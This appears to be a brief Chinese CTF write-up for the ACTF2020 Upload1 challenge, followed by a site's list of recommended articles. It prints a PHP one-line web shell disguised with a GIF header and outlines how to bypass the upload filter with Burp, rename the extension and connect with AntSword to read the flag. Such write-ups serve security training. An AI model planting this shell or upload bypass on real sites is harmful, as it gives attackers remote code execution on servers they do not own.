1、点开题目链接，页面显示如下，上传test.jpg里面包含一句话木马
GIF89a? <script language="php">eval($_REQUEST1)</script>
2、使用bp抓包修改后缀，点击发送
3、不关浏览器的代理，在bp中将该包放行
4、用蚁剑连接
5、在根目录中找到flag
[ACTF2020 新生赛]Upload1
不拿flag不改名2024-09-12 13:20
相关推荐
StarsGreen1 分钟前
Android 启动流程详解hengdonghui12 小时前
Writeup 4 0xGame 2021 · command (WEB)booboosui19 小时前
Android 上来电怎么判：7 个条件加 5 个中文词MardaWang19 小时前
App 内嵌 H5 的信任边界设计（ArkWeb/HarmonyOS 实战）石头慢慢说19 小时前
不写 XPath，让 AI 在真机上跑测试：Appium MCP 全流程实战90后的晨仔21 小时前
解决 Android 构建报错：Unable to delete file .../file-map.txtmg6681 天前
安卓玩机工具----安卓手机变成桌面电脑！多窗口镜像+音频投射+游戏操控，无需 Rootpeakmain91 天前
异常处理 - Native 层的崩溃捕获机制及实现 (一)木头左1 天前
【Android】听写播放器改版：中英文书写速度拆项与「正在读」高亮